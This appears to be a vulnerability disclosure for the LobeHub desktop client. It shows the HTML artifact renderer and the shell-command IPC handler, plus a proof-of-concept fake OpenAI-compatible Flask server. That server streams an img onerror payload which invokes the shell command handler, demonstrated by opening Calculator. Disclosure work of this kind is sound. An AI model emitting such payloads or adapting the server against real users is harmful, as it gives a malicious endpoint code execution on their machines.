LobeHub has a Cross-Site Scripting issue that escalates to Remote Code Execution

const Renderer = memo<{ content: string; type?: string }>(({ content, type }) => {
  switch (type) {
    case 'application/lobe.artifacts.react': {
      return <ReactRenderer code={content} />;
    }

    case 'image/svg+xml': {
      return <SVGRender content={content} />;
    }

    case 'application/lobe.artifacts.mermaid': {
      return <Mermaid variant={'borderless'}>{content}</Mermaid>;
    }

    case 'text/markdown': {
      return <Markdown style={{ overflow: 'auto' }}>{content}</Markdown>;
    }

    default: {
      return <HTMLRenderer htmlContent={content} />;
    }
  }
});

export default Renderer;

  @IpcMethod()
  async handleRunCommand({
    command,
    description,
    run_in_background,
    timeout = 120_000,
  }: RunCommandParams): Promise<RunCommandResult> {
    ...
    const childProcess = spawn(shellConfig.cmd, shellConfig.args, {
            env: process.env,
            shell: false,
          });
    ...
  }

from flask import Flask, Response, request, jsonify
import time
import json

app = Flask(__name__)
fake_api_key = "sk-test"

@app.route('/v1/chat/completions', methods=['POST', 'OPTIONS'])
def chat_completions():
    if request.method == 'OPTIONS':
        return Response(status=200, headers={
            'Access-Control-Allow-Origin': '*',
            'Access-Control-Allow-Headers': '*'
        })

    # Check for API Key
    auth_header = request.headers.get('Authorization')
    print(auth_header)
    if not auth_header or auth_header != f'Bearer {fake_api_key}':
        return jsonify({"error": {"message": "Invalid API Key", "type": "invalid_request_error", "code": "invalid_api_key"}}), 401

    def generate(): 
        payload = """
<lobeArtifact type="nebula">
<img src=x onerror='window.parent.electronAPI.invoke("shellCommand.handleRunCommand", {command:"open -a Calculator"})'>
</lobeArtifact>
"""
        # Split payload into chunks to simulate streaming
        chunks = [payload[i:i+10] for i in range(0, len(payload), 10)]
        
        for chunk in chunks:
            data = {
                "id": "chatcmpl-hpdoger-123", 
                "object": "chat.completion.chunk", 
                "created": int(time.time()), 
                "model": "gpt-3.5-turbo", 
                "choices": [{
                    "index": 0, 
                    "delta": {"content": chunk},
                    "finish_reason": None
                }]
            }
            yield f"data: {json.dumps(data)}\n\n"
            time.sleep(0.1)
        
        # End of stream
        final_data = {
            "id": "chatcmpl-hpdoger-123", 
            "object": "chat.completion.chunk", 
            "created": int(time.time()), 
            "model": "gpt-3.5-turbo", 
            "choices": [{
                "index": 0, 
                "delta": {},
                "finish_reason": "stop"
            }]
        }
        yield f"data: {json.dumps(final_data)}\n\n"
        yield "data: [DONE]\n\n"

    return Response(generate(), mimetype='text/event-stream', headers={
        'Access-Control-Allow-Origin': '*', 
        'Access-Control-Allow-Headers': '*'
    })

@app.route('/v1/models', methods=['GET'])
def models():
    return jsonify({
        "object": "list", 
        "data": [{
            "id": "gpt-3.5-turbo", 
            "object": "model", 
            "created": 1677610602, 
            "owned_by": "openai"
        }]
    })

if __name__ == '__main__':
    print("Evil OpenAI-compatible server running on http://127.0.0.1:5001")
    app.run(port=5001, debug=True)